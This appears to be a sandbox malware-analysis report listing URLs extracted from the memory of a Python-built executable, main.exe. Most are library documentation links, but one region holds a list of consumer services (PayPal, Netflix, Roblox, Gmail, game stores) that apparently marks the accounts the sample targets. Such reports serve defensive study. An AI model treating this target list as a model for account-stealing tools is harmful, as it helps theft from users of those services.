Source: main.exe, 00000002.00000003.1777412725.000001E8932F1000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2016084978.000001E892E48000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: main.exe, 00000002.00000003.1777412725.000001E8932F1000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2016084978.000001E892E48000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: main.exe, 00000002.00000002.2016477772.000001E8930F0000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000003.1777412725.000001E8932F1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: main.exe, 00000002.00000003.1777412725.000001E8932F1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: main.exe, 00000002.00000002.2016477772.000001E8930F0000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000003.1777412725.000001E8932F1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: main.exe, 00000002.00000003.1981184680.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778874019.000001E89151E000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1777412725.000001E8932F1000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2002902179.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2007326260.000001E891541000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1986258490.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977180304.000001E8914FE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977580740.000001E891538000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778754123.000001E891537000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976737823.000001E8914E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: main.exe, 00000002.00000003.1975331009.000001E893501000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980293973.000001E893502000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/multiprocessing.html
Source: main.exe, 00000002.00000003.1979666103.000001E8939E9000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1993956147.000001E8939F8000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1982059163.000001E8939EE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1987528082.000001E8939F6000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974979765.000001E8939E5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1984054418.000001E8939EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/pprint.html
Source: main.exe, 00000002.00000003.1980146595.000001E8939B3000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1979666103.000001E8939E9000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1993956147.000001E8939F8000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1982059163.000001E8939EE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1987528082.000001E8939F6000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974979765.000001E8939E5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977996785.000001E8939B0000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976495976.000001E89398C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1978801071.000001E8939B2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1984054418.000001E8939EF000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2002704970.000001E8939B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/pprint.html#pprint.pprint
Source: main.exe, 00000002.00000003.1796280845.000001E893C26000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1981338350.000001E893A01000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1993956147.000001E893A03000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974979765.000001E8939E5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2022190852.000001E894370000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976909466.000001E8935C6000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1984238904.000001E893A04000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2020045883.000001E893A03000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2012429799.000001E893A03000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1996321903.000001E893968000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2001043628.000001E8935FF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/re.html
Source: main.exe, 00000002.00000003.1793009900.000001E893AAF000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1796280845.000001E893C26000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2022075360.000001E894270000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000002.2021561908.000001E893EF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3/library/re.html#re.sub
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://ebay.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://epicgames.com)
Source: main.exe, 00000002.00000003.1982648844.000001E894B39000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1988603631.000001E894B4B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://exiv2.orA
Source: main.exe, 00000002.00000003.1981902344.000001E894A89000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1992755022.000001E894A89000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973472828.000001E894A88000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972587068.000001E894A80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://exiv2.org/tags.html)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://expressvpn.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://expressvpn.com)P
Source: main.exe, 00000002.00000002.2026373448.000001E894F70000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: main.exe, 00000002.00000002.2022190852.000001E894370000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000002.2021561908.000001E893EF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com)
Source: main.exe, 00000002.00000003.1976823794.000001E8947EA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972023696.000001E8947B2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1987274468.000001E8947F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Ousret/charset_normalizer
Source: main.exe, 00000002.00000003.1981184680.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778874019.000001E89151E000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2002902179.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1777412725.000001E8932F1000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977180304.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2002902179.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2007326260.000001E891541000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1986258490.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977180304.000001E8914FE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1981184680.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778874019.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2016003137.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778754123.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977580740.000001E891538000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1986258490.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778754123.000001E891537000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976737823.000001E8914E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: main.exe, 00000002.00000002.2021431524.000001E893DF0000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000002.2022190852.000001E894370000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/jaraco/jaraco.functools/issues/5
Source: main.exe, 00000000.00000003.1752729643.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/mhammond/pywin32
Source: main.exe, 00000000.00000003.1749197199.0000024BCD655000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/pallets/markupsafe/
Source: main.exe, 00000002.00000002.2026890228.000001E895270000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/psf/requests/pull/6710
Source: main.exe, 00000002.00000002.2022075360.000001E894270000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000002.2021561908.000001E893EF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/pypa/packaging
Source: main.exe, 00000002.00000002.2022075360.000001E894270000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000002.2021561908.000001E893EF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/pypa/packaging02d2
Source: main.exe, 00000002.00000002.2021561908.000001E893EF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/pypa/setuptools/issues/1024.
Source: main.exe, 00000002.00000003.1976495976.000001E89398C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1998205963.000001E893A0D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/pyparsing/pyparsing/wiki
Source: main.exe, 00000002.00000002.2027115983.000001E895370000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/python-pillow/Pillow/
Source: main.exe, 00000002.00000003.1777412725.000001E8932F1000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2016084978.000001E892E48000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: main.exe, 00000002.00000003.1976737823.000001E8914E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: main.exe, 00000002.00000003.1981184680.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778874019.000001E89151E000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2002902179.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1777412725.000001E8932F1000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977180304.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2002902179.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2007326260.000001E891541000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1986258490.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977180304.000001E8914FE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1981184680.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778874019.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2016003137.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778754123.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977580740.000001E891538000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1777434520.000001E89154A000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1986258490.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778754123.000001E891537000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976737823.000001E8914E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: main.exe, 00000002.00000003.1781941357.000001E8933CD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1975282383.000001E893359000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977491655.000001E89338A000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1781656560.000001E893672000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: main.exe, 00000002.00000003.1981184680.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778874019.000001E89151E000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2002902179.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1777412725.000001E8932F1000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977180304.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2002902179.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2007326260.000001E891541000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1986258490.000001E891539000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977180304.000001E8914FE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1981184680.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778874019.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2016003137.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778754123.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977580740.000001E891538000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1986258490.000001E89154C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778754123.000001E891537000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976737823.000001E8914E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: main.exe, 00000002.00000002.2026373448.000001E894F70000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: main.exe, 00000002.00000003.1972023696.000001E89477F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2023880824.000001E894794000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1985448658.000001E894790000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1982748630.000001E89478F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2001384242.000001E894790000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2013797499.000001E894790000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: main.exe, 00000002.00000003.1995482563.000001E894627000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1971266295.000001E894600000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972288327.000001E89460F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980605217.000001E894618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: main.exe, 00000002.00000002.2026739710.000001E895170000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: main.exe, 00000002.00000002.2026739710.000001E895170000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/32900
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://gmail.com)
Source: main.exe, 00000002.00000003.1977713618.000001E893961000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976200965.000001E894862000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1995482563.000001E894627000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974112566.000001E8945D6000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1971266295.000001E894600000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972288327.000001E89460F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974081056.000001E8945C4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1998719177.000001E893984000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2011453288.000001E8945E2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972023696.000001E894862000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2001089205.000001E893984000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1983459559.000001E894863000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2013542756.000001E894863000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1979273332.000001E894862000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980605217.000001E894618000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2024442172.000001E894863000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1987244040.000001E893982000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972765253.000001E89459D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1985312347.000001E89397C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1993083249.000001E893984000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: main.exe, 00000002.00000003.1995482563.000001E894627000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974112566.000001E8945D6000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1971266295.000001E894600000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972288327.000001E89460F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974081056.000001E8945C4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2011453288.000001E8945E2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980605217.000001E894618000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972765253.000001E89459D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/mail
Source: main.exe, 00000002.00000003.1976302124.000001E894703000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/mail/
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://hbo.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://hotmail.com)
Source: main.exe, 00000002.00000003.1994855674.000001E893C02000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1997639786.000001E893C02000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1975055524.000001E893C02000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2003396948.000001E893C02000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973010642.000001E893C02000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2020672387.000001E893C02000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980969299.000001E893C02000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: main.exe, 00000002.00000003.1993083249.000001E893984000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000003.1975055524.000001E893BBE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2020621648.000001E893BD0000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1997639786.000001E893BD0000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2013542756.000001E894850000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974563806.000001E893BAF000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1985699146.000001E89484B000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1979857009.000001E894815000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976823794.000001E894815000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2024088246.000001E8947D2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/get
Source: main.exe, 00000002.00000003.1995482563.000001E894627000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1971266295.000001E894600000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972288327.000001E89460F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980605217.000001E894618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/post
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://i.imgur.com/jJES3AX.png
Source: main.exe, 00000002.00000002.2021248839.000001E893CF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://importlib-resources.readthedocs.io/en/latest/using.html#migrating-from-legacy
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://instagram.com)
Source: main.exe, 00000002.00000003.2003018568.000001E8945A4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://json.org
Source: main.exe, 00000002.00000003.1973010642.000001E893A4D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1978592500.000001E893A5B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://mahler:8092/site-updates.py
Source: main.exe, 00000000.00000003.1749197199.0000024BCD655000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://markupsafe.palletsprojects.com/
Source: main.exe, 00000000.00000003.1749197199.0000024BCD655000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://markupsafe.palletsprojects.com/changes/
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://minecraft.net)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://netflix.com)
Source: main.exe, 00000002.00000003.1998028650.000001E894BC6000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1975513124.000001E894BC1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-108r1.pdf
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://origin.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://outlook.com)
Source: main.exe, 00000002.00000003.2001762476.000001E8945A1000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972765253.000001E89459D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2003018568.000001E8945A4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://packaging.python.org/en/latest/specifications/declaring-project-metadata/
Source: main.exe, 00000002.00000002.2021777975.000001E894070000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000002.2022190852.000001E894370000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: main.exe, 00000000.00000003.1749197199.0000024BCD655000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://palletsprojects.com/donate
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://paypal.com)
Source: main.exe, 00000002.00000002.2017333313.000001E8933F0000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000003.1780566116.000001E89356F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1779749185.000001E89356F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://peps.python.org/pep-0205/
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://playstation.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://pornhub.com)
Source: main.exe, 00000002.00000002.2022190852.000001E894370000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000002.2021561908.000001E893EF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://refspecs.linuxfoundation.org/elf/gabi4
Source: main.exe, 00000002.00000003.1995482563.000001E894627000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2026890228.000001E895270000.00000004.00001000.00020000.00000000.sdmp, main.exe, 00000002.00000003.1971266295.000001E894600000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972288327.000001E89460F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980605217.000001E894618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://requests.readthedocs.io
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://riotgames.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://riotgames.com)i75802
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://roblox.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://sellix.io)
Source: main.exe, 00000002.00000003.1785741511.000001E8939DA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1787126840.000001E893A11000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1981338350.000001E893A0D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1787956610.000001E893A11000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1793152862.000001E893A07000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974979765.000001E8939E5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1984238904.000001E893A0D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1978563125.000001E893A0C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2012124595.000001E893A11000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1998205963.000001E893A0D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1785741511.000001E893A11000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://setuptools.pypa.io/en/latest/pkg_resources.html#basic-resource-access
Source: main.exe, 00000002.00000002.2021777975.000001E894070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://setuptools.pypa.io/en/latest/userguide/declarative_config.html#opt-2
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://spotify.com)
